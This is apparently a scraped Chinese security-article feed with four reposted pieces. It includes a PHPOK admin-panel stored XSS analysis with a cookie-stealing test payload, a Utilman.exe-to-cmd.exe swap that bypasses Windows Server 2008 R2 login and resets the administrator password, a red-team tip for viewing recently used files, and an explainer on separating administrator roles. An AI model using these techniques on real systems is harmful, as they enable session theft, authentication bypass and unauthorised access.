测试环境:当在“在线留言”处留言:留言成功后需要管理员审核才可以通过,所以不能立刻显示。当管理员登陆后台,删除该留言的时候,触发XSS:看下源码:01<tr id="list_1283" title="留言主题:&lt;script&gt;alert(document.cookie);&lt;/script&gt;&#10;发布日期:2014-04-11 20:54:04">02<td class="center"><input type="checkbox" name="ids" id="id_1283" value="1283" /></td>03<td><span class="status0" id="status_1283" onclick="set_status(1283)" value="0"></span></td>04<td><label for="id_1283">051283. &lt;script&gt;alert(document.cookie);&lt;/script&gt; </label>06</td>0708<td class="center">2014-04-11</td>09<td>evil</td>10 <td>[email protected]</td>11 <td>test</td>12<td class="center"><input type="text" id="sort_1283" name="sort" class="shortcenter" value="0"tabindex="1" /></td>13<td>14<a class="icon edit" href="admin.php?c=list&f=edit&id=1283" title="修改"></a>15<a class="icon delete end"onclick="content_del('1283','&lt;script&gt;alert(document.cookie);&lt;/script&gt;')" title="删除"></a>16</td>17</tr>这里过滤了,继续看删除留言的代码:1<a class="icon delete end" onclick="content_del('1283','&lt;script&gt;alert(document.cookie);&lt;/script&gt;')" title="删除"></a>一个onclick事件,调用了content_del函数,追溯过去:函数在 list.js 这个文件中,关键代码如下:1$.dialog.confirm("确定要删除:<span class='red'>"+title+"</span>?删除后是不能恢复的?",function(){加上之前的代码可以看到,虽然title传过来的是:1&lt;script&gt;alert(document.cookie);&lt;/script&gt;经过HtmlEncode的数据,但是由于htmlpersar解析是优先于jspersar的,所以单单对js事件进行htmlencode的话,经过浏览器的解析,编码的事件请求内容就会被解码,从而产生XSS。。。 本文始发于微信公众号(T00ls):PHPOK留言管理XSS(打管理员)
阅读全文
绕过Windows Server 2008 R2身份认证重置管理员密码 安全文章

绕过Windows Server 2008 R2身份认证重置管理员密码

本文将介绍一种绕过Windows Server 2008 R2服务器的身份验证以及重置系统管理员密码的技术。(忘记密码手段)此技术几乎适用于所有的Windows系统,但必须具备以下两个前提之一。即我们可以对运行Windows服务器的机器进行物理访问,或当Windows Server 2008 R2运行虚拟化时可以访问hypervisor的管理接口。其实这并不是什么新奇的“黑客”技术,大多时候会被系统管理员用作忘记密码时的最后手段。但在某些情况下这种方法会带给你意想不到的惊喜。例如在渗透测试时当我们控制了hypervisor软件的管理面板时,这种访问将允许你像对物理访问一样控制虚拟机,包括使用引导磁盘和修改系统文件等。或者,你也可以在对主机进行某种物理访问时应用此技术。hypervisor管理接口https://baike.baidu.com/item/hypervisor/3353492?fr=aladdin0x00 前言        今天闲来无事打算搭个域环境测试,结果好久不用的Windows sever 2008 R2 虚拟机的密码忘记了,想了半天也没想起来,看来这是上天叫我五一假期好好休养生息啊,奈何我躺在床上一想到密码就在耳边却想不起来抓耳挠腮的难受一想到我就是干这玩意的,要用专业来搞他果然我还是太菜了。。。脑袋里第一个浮现出来的就是..暴力破解.....我丢(睡一觉就想起来了)醒来后想了一下,如果以后再忘记密码想不起来肿么办呢0x01 后续后来想到过-shift粘滞键后门-不需输入,直接按5次shift键就可调用后门有个小东西引起了我的注意,如果点击这个东东直接调用cmd那岂不是可以直接执行命令。网上一查发现已经有很多师傅的资料了,谁叫自己太菜呢,在做做笔记吧Utilman.exe是一个系统进程,为Windows辅助工具管理器程序,用于配置辅助功能选项,如放大镜和屏幕键盘。Utilman.exe的特别之处在于我们可以在登录系统之前执行它,通过点击Windows登录菜单左下角的“可访问性”按钮来完成此操作0x02 重置Windows Server 2008 R2管理员密码/Windows/System32 在/Windows/System32目录,我们可以找到一个名为“Utilman.exe”的可执行文件。我们使用cmd.exe程序来替换Utilman.exe程序。当替换成功后我们就可以通过点击“可访问性”按钮,来启动具有系统权限的cmd.exe而不再是Utilman.exe。这样我们就可以轻松的重置管理员密码,并使用管理员账号来登录系统了。首先,我们将Utilman.exe程序重命名为Utilman.exe.old,将cmd.exe重命名为Utilman.exe替换成功后,我们只需重启机器到Windows界面,然后单击登录屏幕上的辅助功能按钮。我们直接打开了一个命令行输入窗口:直接修改administrator的密码进行登录Windowsnet user administrator 1qaz2wsx.com参考链接https://www.freebuf.com/articles/system/145685.htmlhttps://www.hackingtutorials.org/general-tutorials/bypass-authentication-windows-server-2008-r2/0x03 总结简单的作为一个经常忘记密码的小手段,在渗透测试中也可以作为一个突破点参考!小编哪里有不周全的还请大佬们多多指教 不喜勿喷哈 本文始发于微信公众号(LemonSec):绕过Windows Server 2008 R2身份认证重置管理员密码
阅读全文
红队后渗透小技巧 安全文章

红队后渗透小技巧

当我们拿到服务器权限时候:            linux我们可以通过history来查看管理员最近操作过什么命令            那window怎么去查看管理员最近使用痕迹呢小技巧:            C:Users用户名Recent                                                一览无余 本文始发于微信公众号(Khan安全攻防实验室):红队后渗透小技巧
阅读全文
网络安全中的“三员”管理 安全闲碎

网络安全中的“三员”管理

作者丨一哥出品丨北京一等一技术咨询有限公司独家授权,未经许可不得转载等保工作中强调要有“三员”管理,同时明确了安全管理员要专职,不可以兼任,那么“三员”管理到底是哪三员呢?“三员”具体包括:系统管理员、审计管理员和安全管理员。系统管理员主要负责系统的日常运行维护工作。包括网络设备、服务器和用户终端、操作系统数据库、业务系统的安装、配置、升级、维护、运行管理;网络和系统的用户增加或删除;网络和系统的数据备份、运行日志审查和运行情况监控;应急条件下的安全恢复等。审计管理员:主要负责系统管理员、安全管理员、用户等行为进行审计跟踪、分析和监督检查,根据分析结果进行处理,包括根据安全审计策略对审计记录进行存储、管理和查询等,及时发现违规行为等。安全管理员:主要负责单位网络资产的安全管理工作,包括安全防护体系的建立、各系统的日常安全运维保障、安全设备的管理、安全策略的配置、网络安全事件的处置和响应;应急条件下的安全恢复等。 一个规范的单位进行网络安全管理时,首先要做的就是废除超级管理员, 一个人权限不能太大,一旦掌握了所有的权限,变得不可控,容易出事。所谓“三员”管理就是对这三个岗位的管理,在网络安全工作中“三员”是三个角色,最好也是三人分别担任,每个人都应该有自己的账户,其中管理员与审计员必须非同一个人,但是在等保测评三级系统中明确要求应配备专职安全管理员,且不可兼任,所以这样一来,在三级及以上系统中系统管理员、审计管理员、安全管理员都得为不同的人了。理想总是美好的,现实总是残酷的,按照规范要求是三个人,可是往往事与愿违,不少单位连一个专职的搞IT的人都没有,都是兼职的。你们单位是这样吗?关注我们联系我们 本文始发于微信公众号(等级保护测评):网络安全中的“三员”管理
阅读全文